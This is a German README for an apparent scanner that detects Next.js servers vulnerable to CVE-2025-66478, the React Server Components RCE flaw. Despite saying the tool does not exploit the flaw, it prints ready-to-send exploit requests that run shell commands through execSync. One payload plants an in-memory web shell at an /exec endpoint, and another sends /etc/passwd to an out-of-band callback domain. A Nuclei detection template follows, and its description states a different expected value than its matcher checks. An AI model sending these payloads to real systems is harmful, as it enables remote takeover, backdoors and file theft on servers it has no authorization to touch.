malayke/next.js-rsc-rce-scanner-cve-2025-66478Ein Kommandozeilen-Scanner für die Batch-Erkennung von Next.js-Anwendungsversionen und die Bestimmung, ob sie von der Schwachstelle CVE-2025-66478 betroffen sind.
Ein Befehlszeilen-Scanner zur Batch-Erkennung von Next.js-Anwendungsversionen und zur Bestimmung, ob sie von der Schwachstelle CVE-2025-66478 betroffen sind.
Dieser Scanner nutzt die Schwachstelle nicht aus
https://nextjs.org/blog/CVE-2025-66478
git clone https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478
cd Next.js-RSC-RCE-Scanner-CVE-2025-66478
go build -o nextjs-rce-scanner
# Windows Build
go build -o nextjs-rce-scanner.exe
# Scan mit hoher Parallelität (10 gleichzeitig)
./nextjs-rce-scanner -file urls.txt -c 10
# GUI-Modus (zum Debuggen):
./nextjs-rce-scanner -urls "https://example.com" -headless=false
# Benutzerdefiniertes Timeout
./nextjs-rce-scanner -file urls.txt -timeout 60
# Für headless Server (Ubuntu/Debian) – Chrome-Flags hinzufügen
./nextjs-rce-scanner -file urls.txt -chrome-flags '--no-sandbox,--disable-setuid-sandbox'
# Systeminstalliertes Chrome/Chromium verwenden
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/google-chrome
# Chrome-Binärpfad mit Flags kombinieren (für Server)
./nextjs-rce-scanner -file urls.txt -chrome-bin /usr/bin/chromium-browser -chrome-flags '--no-sandbox'
# Bestimmte URLs filtern und scannen
cat urls.txt | grep ".com" | ./nextjs-rce-scanner
# Kombinieren mit anderen Unix-Tools
cat urls.txt | head -10 | ./nextjs-rce-scanner -c 3
Linux:
/usr/bin/google-chrome oder /usr/bin/chromium-browser/usr/bin/google-chrome-stable oder /usr/bin/chromium/var/lib/flatpak/exports/bin/com.google.ChromemacOS:
/Applications/Google Chrome.app/Contents/MacOS/Google Chrome/Applications/Chromium.app/Contents/MacOS/ChromiumWindows:
C:\Program Files\Google\Chrome\Application\chrome.exeC:\Program Files (x86)\Google\Chrome\Application\chrome.exewindow.next.version aus, um Versionsinformationen zu erhaltencreate-next-app installierennpx [email protected] my-cve-2025-66478-app
cd my-cve-2025-66478-app
# Starten der Anwendung
npm run dev
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 578
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('open -a Calculator');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 1176
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
curl "http://localhost:3000/exec?cmd=ls+-l"
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 689
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
⚠️⚠️⚠️ Ersetzen Sie an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com durch Ihre eigene OAST-/DNSlog-Domain
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').get('https://an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com/test');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
/etc/passwd senden{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').request({hostname:'an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('/etc/passwd'));","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
ursprünglicher Exploit-Credit: https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
Speichern Sie den folgenden Vorlagencode in react2shell.yaml und führen Sie dann Nuclei aus.
nuclei -silent -u http://localhost:3000 -t react2shell.yaml
Credit: @Behi_Sec
⚠️ Diese Nuclei-Vorlage erkennt nur anfällige Server, die auf Unix-basierten Systemen laufen.
id: cve-2025-55182-react2shell
info:
name: Next.js/React Server Components RCE (React2Shell)
author: assetnote
severity: critical
description: |
Detects CVE-2025-55182 and CVE-2025-66478, a Remote Code Execution vulnerability in Next.js applications using React Server Components.
It attempts to execute 'echo $((1337*10001))' on the server. If successful, the server returns a redirect to '/login?a=11111'.
reference:
- https://github.com/assetnote/react2shell-scanner
- https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id:
- CVE-2025-55182
- CVE-2025-66478
tags: cve, cve2025, nextjs, rce, react
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $((1337*10001))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
matchers-condition: and
matchers:
- type: word
part: header
words:
- "/login?a=13371337"
- "X-Action-Redirect"
condition: and
Sie können feststellen, ob die anfällige RSC-Funktionalität von NextJS vorhanden ist, indem Sie das Vary-Feld des HTTP-Antwort-Headers überprüfen.
MIT Lizenz
Dieses Tool dient der Sicherheitsforschung und nur autorisierten Tests. Die Verwendung dieses Tools zum Scannen nicht autorisierter Ziele kann gegen geltende Gesetze und Vorschriften verstoßen. Die Nutzer sind für alle Konsequenzen verantwortlich.